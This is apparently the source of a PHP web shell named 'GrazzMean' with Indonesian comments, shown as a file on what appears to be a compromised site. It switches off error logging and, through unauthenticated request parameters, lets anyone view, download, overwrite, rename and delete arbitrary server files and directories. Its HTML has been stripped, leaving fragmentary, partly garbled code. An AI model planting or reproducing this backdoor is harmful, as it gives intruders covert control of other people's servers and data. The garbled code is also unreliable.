ui8nj4u6.php

‹ Zurück zu ui8nj4u6.php

ui8nj4u6.php

/* Mau recode? izin dulu, recode ga izin itu ga keren ajg */
set_time_limit(0);
error_reporting(0);
@ini_set('error_log',null);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
date_default_timezone_set('Asia/Jakarta');
$_n = 'GrazzMean';
$_s = "


";
$_r = "required='required'";
$_x = "";
if(isset($_GET['option']) && $_POST['opt'] == 'download'){
header('Content-type: text/plain');
header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
echo(file_get_contents($_POST['path']));
exit();
}
function ▟($path,$p) {
if(isset($_GET['path'])) {
$▚ = $_GET['path'];
}else{
$▚ = getcwd();
}
if(is_writable($▚)) {
return "".$p."";
}else{
return "".$p."";
}
}
function ok(){
echo '

';
}
}
echo "

Nama dir:


";
}
}
// akhir tools
if(isset($_GET['filesrc'])){
echo "
name : ".basename($_GET['filesrc']);"
";
echo '

'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'

';
} elseif(isset($_GET['option']) && $_POST['opt'] != 'hapus'){
echo '
name : '.basename($_POST['path']);'
';
// file
if($_POST['opt'] == 'ganti_nama'){
if(isset($_POST['nama_baru'])){
if(rename($_POST['path'],$path.'/'.$_POST['nama_baru'])){
echo "";
}else{
echo 'Ganti nama gagal! '.er().'

';
}
$_POST['name'] = $_POST['nama_baru'];
}
echo '




';
} elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo 'Edit ok! '.ok().'

';
}else{
echo 'Edit gagal! '.er().'

';
}
fclose($fp);
}
echo '



';
}
}else{
//hapus dir & file
if(isset($_GET['option']) && $_POST['opt'] == 'hapus'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo "";
}else{
echo 'Hapus dir gagal! '.er().'

';
}
} elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo "";
}else{
echo 'Hapus file gagal! '.er().'

';
}
}
}
$scandir = scandir($path);
$pa = getcwd();
echo '

';
foreach($scandir as $dir){
$dt = date("Y-m-d H:i:s", filemtime("$path/$dir"));
if(function_exists('posix_getpwuid')) {
$downer = @posix_getpwuid(fileowner("$path/$dir"));
$downer = $downer['name'];
}else{
$downer = fileowner("$path/$dir");
}
if(function_exists('posix_getgrgid')) {
$dgrp = @posix_getgrgid(filegroup("$path/$dir"));
$dgrp = $dgrp['name'];
}else{
$dgrp = filegroup("$path/$dir");
}
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "

';
echo "

";
}
foreach($scandir as $file){
$ft = date("Y-m-d H:i:s", filemtime("$path/$file"));
if(!is_file($path.'/'.$file)) continue;
if(function_exists('posix_getpwuid')) {
$fowner = @posix_getpwuid(fileowner("$path/$file"));
$fowner = $fowner['name'];
}else{
$fowner = fileowner("$path/$file");
}
if(function_exists('posix_getgrgid')) {
$fgrp = @posix_getgrgid(filegroup("$path/$file"));
$fgrp = $fgrp['name'];
}else{
$fgrp = filegroup("$path/$file");
}
echo "

';
echo "

";
}
}
?>

name last edit size owner:downer permission options
..

$dir $dt - $downer:$dgrp ";
if(is_writable("$path/$dir")) echo '';
elseif(!is_readable("$path/$dir")) echo '';
echo p("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '




$file $ft ".sz(filesize($file))." $fowner:$fgrp ";
if(is_writable("$path/$file")) echo '';
elseif(!is_readable("$path/$file")) echo '';
echo p("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '






©